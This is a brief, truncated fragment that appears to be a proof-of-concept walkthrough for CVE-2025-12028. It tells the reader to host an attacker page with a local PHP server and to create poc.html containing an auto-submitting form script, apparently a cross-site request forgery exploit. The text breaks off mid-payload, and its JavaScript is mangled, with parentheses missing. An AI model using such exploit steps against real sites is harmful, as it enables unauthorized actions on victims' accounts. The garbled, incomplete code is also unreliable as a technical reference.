CVE-2025-12028

1 Start a simple HTTP server to host the proof-of-concept page root@kitploit: mkdir -p /tmp/attacker && cd /tmp/attacker php -S 127.0.0.1:8000 2 Create a file /tmp/attacker/poc.html with the following contents root@kitploit: document.getElementById'x'.submit;...